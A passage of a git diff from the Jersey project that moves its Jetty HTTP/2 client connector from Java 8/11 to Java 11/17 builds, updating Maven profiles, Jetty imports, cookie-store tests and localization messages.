diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java index f0bfb60..16f1b55 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -33,12 +33,12 @@ import jakarta.inject.Singleton; +import org.eclipse.jetty.client.BasicAuthentication; import org.glassfish.jersey.client.ClientConfig; import org.glassfish.jersey.logging.LoggingFeature; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.eclipse.jetty.client.util.BasicAuthentication; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertTrue;
diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java index 2a49c00..782cf40 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -95,7 +95,7 @@ final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector(); if (connector.getCookieStore() != null) { - assertTrue(connector.getCookieStore().getCookies().isEmpty()); + assertTrue(connector.getCookieStore().all().isEmpty()); } else { assertNull(connector.getCookieStore()); } @@ -113,9 +113,9 @@ assertEquals("value", r.request().get(String.class)); final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector(); - assertNotNull(connector.getCookieStore().getCookies()); - assertEquals(1, connector.getCookieStore().getCookies().size()); - assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue()); + assertNotNull(connector.getCookieStore().all()); + assertEquals(1, connector.getCookieStore().all().size()); + assertEquals("value", connector.getCookieStore().all().get(0).getValue()); client.close(); } }
diff --git a/connectors/jetty-http2-connector/pom.xml b/connectors/jetty-http2-connector/pom.xml index 0035670..454d5d6 100644 --- a/connectors/jetty-http2-connector/pom.xml +++ b/connectors/jetty-http2-connector/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.connectors</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-jetty-http2-connector</artifactId> @@ -34,10 +34,10 @@ <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> - <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory> - <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory> - <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory> + <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory> <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory> + <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory> + <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory> </properties> <dependencies> @@ -46,28 +46,14 @@ <artifactId>jetty-client</artifactId> </dependency> <dependency> - <groupId>org.eclipse.jetty.http2</groupId> - <artifactId>http2-client</artifactId> - <exclusions> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> - </exclusions> - </dependency> - <dependency> - <groupId>org.eclipse.jetty.http2</groupId> - <artifactId>http2-http-client-transport</artifactId> - <exclusions> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> - </exclusions> - </dependency> - <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-util</artifactId> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> </dependency> <dependency> @@ -84,21 +70,14 @@ </dependency> <dependency> - <groupId>org.glassfish.jersey.containers</groupId> - <artifactId>jersey-container-jetty-http2</artifactId> - <version>${project.version}</version> - <scope>test</scope> - </dependency> - <dependency> <groupId>org.glassfish.jersey.media</groupId> <artifactId>jersey-media-json-jackson</artifactId> <version>${project.version}</version> <scope>test</scope> </dependency> <dependency> - <groupId>org.glassfish.jersey.test-framework.providers</groupId> - <artifactId>jersey-test-framework-provider-jetty-http2</artifactId> - <version>${project.version}</version> + <groupId>com.sun.xml.bind</groupId> + <artifactId>jaxb-osgi</artifactId> <scope>test</scope> </dependency> </dependencies> @@ -137,87 +116,13 @@ <profiles> <profile> - <id>jdk11+</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <dependencies> - <dependency> - <groupId>com.sun.xml.bind</groupId> - <artifactId>jaxb-osgi</artifactId> - <scope>test</scope> - </dependency> - </dependencies> - </profile> - <profile> <id>JettyExclude</id> <activation> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <properties> - <jetty.version>${jetty9.version}</jetty.version> + <jetty.version>${jetty11.version}</jetty.version> </properties> - <dependencies> - <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-client</artifactId> - <version>${jetty.version}</version> - <exclusions> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> - </exclusions> - </dependency> - <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-util</artifactId> - <version>${jetty.version}</version> - <exclusions> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> - </exclusions> - </dependency> - </dependencies> - <build> - <directory>${java8.build.outputDirectory}</directory> - <plugins> - <plugin> - <groupId>org.codehaus.mojo</groupId> - <artifactId>build-helper-maven-plugin</artifactId> - <executions> - <execution> - <phase>generate-sources</phase> - <goals> - <goal>add-source</goal> - </goals> - <configuration> - <sources> - <source>${java8.sourceDirectory}</source> - </sources> - </configuration> - </execution> - </executions> - </plugin> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-compiler-plugin</artifactId> - <configuration> - <testExcludes> - <testExclude>org/glassfish/jersey/jetty/http2/connector/*.java</testExclude> - </testExcludes> - </configuration> - </plugin> - </plugins> - </build> - </profile> - <profile> - <id>Jetty11</id> - <activation> - <jdk>[11,)</jdk> - </activation> <build> <directory>${java11.build.outputDirectory}</directory> <plugins> @@ -238,17 +143,88 @@ </execution> </executions> </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-compiler-plugin</artifactId> + <configuration> + <testExcludes> + <testExclude>org/glassfish/jersey/jetty/http2/connector/*.java</testExclude> + </testExcludes> + </configuration> + </plugin> </plugins> </build> </profile> <profile> - <id>copyJDK11FilesToMultiReleaseJar</id> + <id>JettyInclude</id> + <activation> + <jdk>[17,)</jdk> + </activation> + <dependencies> + <dependency> + <groupId>org.eclipse.jetty.http2</groupId> + <artifactId>jetty-http2-client</artifactId> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.eclipse.jetty.http2</groupId> + <artifactId>jetty-http2-client-transport</artifactId> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-jetty-http2</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.test-framework.providers</groupId> + <artifactId>jersey-test-framework-provider-jetty-http2</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> + </dependencies> + <build> + <directory>${java17.build.outputDirectory}</directory> + <plugins> + <plugin> + <groupId>org.codehaus.mojo</groupId> + <artifactId>build-helper-maven-plugin</artifactId> + <executions> + <execution> + <phase>generate-sources</phase> + <goals> + <goal>add-source</goal> + </goals> + <configuration> + <sources> + <source>${java17.sourceDirectory}</source> + </sources> + </configuration> + </execution> + </executions> + </plugin> + </plugins> + </build> + </profile> + <profile> + <id>copyJDK17FilesToMultiReleaseJar</id> <activation> <file> - <!-- ${java11.build.outputDirectory} does not work here --> - <exists>target11/classes/org/glassfish/jersey/jetty/connector/JettyHttp2ConnectorProvider.class</exists> + <!-- ${java17.build.outputDirectory} does not work here --> + <exists>target17/classes/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.class</exists> </file> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <build> <plugins> @@ -269,16 +245,16 @@ <inherited>true</inherited> <executions> <execution> - <id>copy-jdk11-classes</id> + <id>copy-jdk17-classes</id> <phase>prepare-package</phase> <goals> <goal>copy-resources</goal> </goals> <configuration> - <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory> + <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory> <resources> <resource> - <directory>${java11.build.outputDirectory}/classes</directory> + <directory>${java17.build.outputDirectory}/classes</directory> </resource> </resources> </configuration> @@ -290,14 +266,14 @@ <artifactId>maven-antrun-plugin</artifactId> <executions> <execution> - <id>copy-jdk11-sources</id> + <id>copy-jdk17-sources</id> <phase>package</phase> <configuration> <target> - <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> + <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> <echo>sources-jar: ${sources-jar}</echo> <zip destfile="${sources-jar}" update="true"> - <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/> + <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/> </zip> </target> </configuration> @@ -311,4 +287,5 @@ </build> </profile> </profiles> + </project> \ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java index 454efd0..7d203cc 100644 --- a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java +++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -16,13 +16,12 @@ package org.glassfish.jersey.jetty.http2.connector; +import jakarta.ws.rs.ProcessingException; import org.eclipse.jetty.client.HttpClient; -import org.eclipse.jetty.client.HttpClientTransport; -import org.eclipse.jetty.http2.client.HTTP2Client; -import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2; -import org.glassfish.jersey.jetty.connector.JettyConnector; +import org.glassfish.jersey.internal.util.JdkVersion; import org.glassfish.jersey.jetty.connector.JettyHttpClientContract; import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier; +import org.glassfish.jersey.jetty.connector.LocalizationMessages; /** * HTTP/2 enabled version of the {@link JettyHttpClientSupplier} @@ -41,15 +40,17 @@ /** * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered * to a {@link org.glassfish.jersey.client.ClientConfig} - * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called. + * @param http2Client seed doc for JDK 11+. */ public JettyHttp2ClientSupplier(HttpClient http2Client) { this.http2Client = http2Client; } private static final HttpClient createHttp2Client() { - final HttpClientTransport transport = new HttpClientTransportOverHTTP2(new HTTP2Client()); - return new HttpClient(transport); + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + return null; // does not work at JDK lower than 17 } @Override
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java index 02eaf5a..301879c 100644 --- a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java +++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -16,12 +16,11 @@ package org.glassfish.jersey.jetty.http2.connector; +import jakarta.ws.rs.ProcessingException; import jakarta.ws.rs.client.Client; -import jakarta.ws.rs.core.Configurable; import jakarta.ws.rs.core.Configuration; -import org.eclipse.jetty.client.HttpClient; -import org.glassfish.jersey.client.Initializable; import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.internal.util.JdkVersion; import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; import org.glassfish.jersey.jetty.connector.LocalizationMessages; @@ -33,26 +32,9 @@ public class JettyHttp2ConnectorProvider extends JettyConnectorProvider { @Override public Connector getConnector(Client client, Configuration runtimeConfig) { - return new JettyHttp2Connector(client, runtimeConfig); - } - - public static HttpClient getHttpClient(Configurable<?> component) { - if (!(component instanceof Initializable)) { - throw new IllegalArgumentException( - LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName())); + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } - - final Initializable<?> initializable = (Initializable<?>) component; - Connector connector = initializable.getConfiguration().getConnector(); - if (connector == null) { - initializable.preInitialize(); - connector = initializable.getConfiguration().getConnector(); - } - - if (connector instanceof JettyHttp2Connector) { - return ((JettyHttp2Connector) connector).getHttpClient(); - } - - throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED()); + return null; // does not work at JDK lower than 17 } } \ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java similarity index 77% copy from connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java copy to connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java index 6275727..36556e0 100644 --- a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java +++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -16,12 +16,13 @@ package org.glassfish.jersey.jetty.http2.connector; -import jakarta.ws.rs.ProcessingException; import org.eclipse.jetty.client.HttpClient; -import org.glassfish.jersey.internal.util.JdkVersion; +import org.eclipse.jetty.client.HttpClientTransport; +import org.eclipse.jetty.http2.client.HTTP2Client; +import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2; +import org.glassfish.jersey.jetty.connector.JettyConnector; import org.glassfish.jersey.jetty.connector.JettyHttpClientContract; import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier; -import org.glassfish.jersey.jetty.connector.LocalizationMessages; /** * HTTP/2 enabled version of the {@link JettyHttpClientSupplier} @@ -40,17 +41,15 @@ /** * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered * to a {@link org.glassfish.jersey.client.ClientConfig} - * @param http2Client seed doc for JDK 11+. + * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called. */ public JettyHttp2ClientSupplier(HttpClient http2Client) { this.http2Client = http2Client; } private static final HttpClient createHttp2Client() { - if (JdkVersion.getJdkVersion().getMajor() < 11) { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - return null; // does not work at JDK 1.8 + final HttpClientTransport transport = new HttpClientTransportOverHTTP2(new HTTP2Client()); + return new HttpClient(transport); } @Override
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java new file mode 100644 index 0000000..a602b0d --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
@@ -0,0 +1,81 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configuration; + +import org.eclipse.jetty.client.HttpClient; +import org.eclipse.jetty.client.HttpClientTransport; +import org.eclipse.jetty.http2.client.HTTP2Client; +import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2; +import org.eclipse.jetty.io.ClientConnector; +import org.glassfish.jersey.jetty.connector.JettyConnector; + +import java.util.Optional; + +/** + * Extends {@link JettyConnector} with HTTP/2 transport support + * + * @since 2.41 + */ +class JettyHttp2Connector extends JettyConnector { + + + /** + * Create the new Jetty HTTP/2 client connector. + * + * @param jaxrsClient JAX-RS client instance, for which the connector is created. + * @param config client configuration. + */ + JettyHttp2Connector(Client jaxrsClient, Configuration config) { + super(jaxrsClient, config); + } + + /** + * provides required {@link HttpClientTransport} for client + * + * The overriden method provides {@link HttpClientTransportOverHTTP2} with initialized {@link HTTP2Client} + * + * @return {@link HttpClientTransportOverHTTP2} + * @since 2.41 + */ + @Override + protected HttpClientTransport initClientTransport(ClientConnector clientConnector) { + return new HttpClientTransportOverHTTP2(new HTTP2Client(clientConnector)); + } + + /** + * provides custom registered {@link HttpClient} (if any) with HTTP/2 support + * + * @param config configuration where {@link HttpClient} could be registered + * @return {@link HttpClient} instance if any was previously registered or NULL + * + * @since 2.41 + */ + @Override + protected HttpClient getRegisteredHttpClient(Configuration config) { + if (config.isRegistered(JettyHttp2ClientSupplier.class)) { + Optional<Object> contract = config.getInstances().stream() + .filter(a-> JettyHttp2ClientSupplier.class.isInstance(a)).findFirst(); + if (contract.isPresent()) { + return ((JettyHttp2ClientSupplier) contract.get()).getHttpClient(); + } + } + return null; + } +}
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java new file mode 100644 index 0000000..02eaf5a --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -0,0 +1,58 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configurable; +import jakarta.ws.rs.core.Configuration; +import org.eclipse.jetty.client.HttpClient; +import org.glassfish.jersey.client.Initializable; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; +import org.glassfish.jersey.jetty.connector.LocalizationMessages; + +/** + * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client + * + * @since 2.41 + */ +public class JettyHttp2ConnectorProvider extends JettyConnectorProvider { + @Override + public Connector getConnector(Client client, Configuration runtimeConfig) { + return new JettyHttp2Connector(client, runtimeConfig); + } + + public static HttpClient getHttpClient(Configurable<?> component) { + if (!(component instanceof Initializable)) { + throw new IllegalArgumentException( + LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName())); + } + + final Initializable<?> initializable = (Initializable<?>) component; + Connector connector = initializable.getConfiguration().getConnector(); + if (connector == null) { + initializable.preInitialize(); + connector = initializable.getConfiguration().getConnector(); + } + + if (connector instanceof JettyHttp2Connector) { + return ((JettyHttp2Connector) connector).getHttpClient(); + } + + throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED()); + } +} \ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java deleted file mode 100644 index 74e5670..0000000 --- a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java +++ /dev/null
@@ -1,40 +0,0 @@ -/* - * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.jetty.http2.connector; - -import jakarta.ws.rs.ProcessingException; -import jakarta.ws.rs.client.Client; -import jakarta.ws.rs.core.Configuration; -import org.glassfish.jersey.client.spi.Connector; -import org.glassfish.jersey.internal.util.JdkVersion; -import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; -import org.glassfish.jersey.jetty.connector.LocalizationMessages; - -/** - * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client - * - * @since 2.41 - */ -public class JettyHttp2ConnectorProvider extends JettyConnectorProvider { - @Override - public Connector getConnector(Client client, Configuration runtimeConfig) { - if (JdkVersion.getJdkVersion().getMajor() < 11) { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - return null; // does not work at JDK 1.8 - } -} \ No newline at end of file
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties similarity index 63% copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties copy to connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties index 2886c72..5fc8425 100644 --- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties +++ b/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
@@ -14,5 +14,8 @@ # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 # -# {0} - status code; {1} - status reason message -not.supported=Jetty container is not supported on JDK version less than 11. +# {0} - HTTP method, e.g. GET, DELETE +method.not.supported=Method {0} not supported. +invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget. +expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider. +not.supported=Jetty connector is not supported on JDK version less than 17.
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java index 7fe2edf..c476301 100644 --- a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
@@ -16,7 +16,7 @@ package org.glassfish.jersey.jetty.http2.connector; -import org.eclipse.jetty.client.util.BasicAuthentication; +import org.eclipse.jetty.client.BasicAuthentication; import org.glassfish.jersey.client.ClientConfig; import org.glassfish.jersey.jetty.connector.JettyClientProperties; import org.glassfish.jersey.logging.LoggingFeature;
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java index eb1c653..427ed3c 100644 --- a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
@@ -91,7 +91,7 @@ final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector(); if (connector.getCookieStore() != null) { - assertTrue(connector.getCookieStore().getCookies().isEmpty()); + assertTrue(connector.getCookieStore().all().isEmpty()); } else { assertNull(connector.getCookieStore()); } @@ -109,9 +109,9 @@ assertEquals("value", r.request().get(String.class)); final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector(); - assertNotNull(connector.getCookieStore().getCookies()); - assertEquals(1, connector.getCookieStore().getCookies().size()); - assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue()); + assertNotNull(connector.getCookieStore().all()); + assertEquals(1, connector.getCookieStore().all().size()); + assertEquals("value", connector.getCookieStore().all().get(0).getValue()); client.close(); } } \ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java index ac6870a..bcf20cc 100644 --- a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
@@ -17,6 +17,7 @@ package org.glassfish.jersey.jetty.http2.connector; import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; import org.glassfish.jersey.logging.LoggingFeature; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; @@ -65,7 +66,7 @@ @Override protected void configureClient(ClientConfig config) { - config.connectorProvider(new JettyHttp2ConnectorProvider()); + config.connectorProvider(new JettyConnectorProvider()); } @Test
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java index 9823284..c59e557 100644 --- a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
@@ -17,10 +17,9 @@ package org.glassfish.jersey.jetty.http2.connector; import org.eclipse.jetty.client.HttpClient; -import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2; +import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2; import org.glassfish.jersey.client.ClientConfig; import org.glassfish.jersey.client.spi.ConnectorProvider; -import org.glassfish.jersey.jetty.JettyHttpContainer; import org.glassfish.jersey.logging.LoggingFeature; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest;
diff --git a/connectors/jetty11-connector/pom.xml b/connectors/jetty11-connector/pom.xml new file mode 100644 index 0000000..040546c --- /dev/null +++ b/connectors/jetty11-connector/pom.xml
@@ -0,0 +1,163 @@ +<?xml version="1.0"?> +<!-- + + Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Public License v. 2.0, which is available at + http://www.eclipse.org/legal/epl-2.0. + + This Source Code may also be made available under the following Secondary + Licenses when the conditions for such availability set forth in the + Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + version 2 with the GNU Classpath Exception, which is available at + https://www.gnu.org/software/classpath/license.html. + + SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +--> + +<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> + <modelVersion>4.0.0</modelVersion> + + <parent> + <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>project</artifactId> + 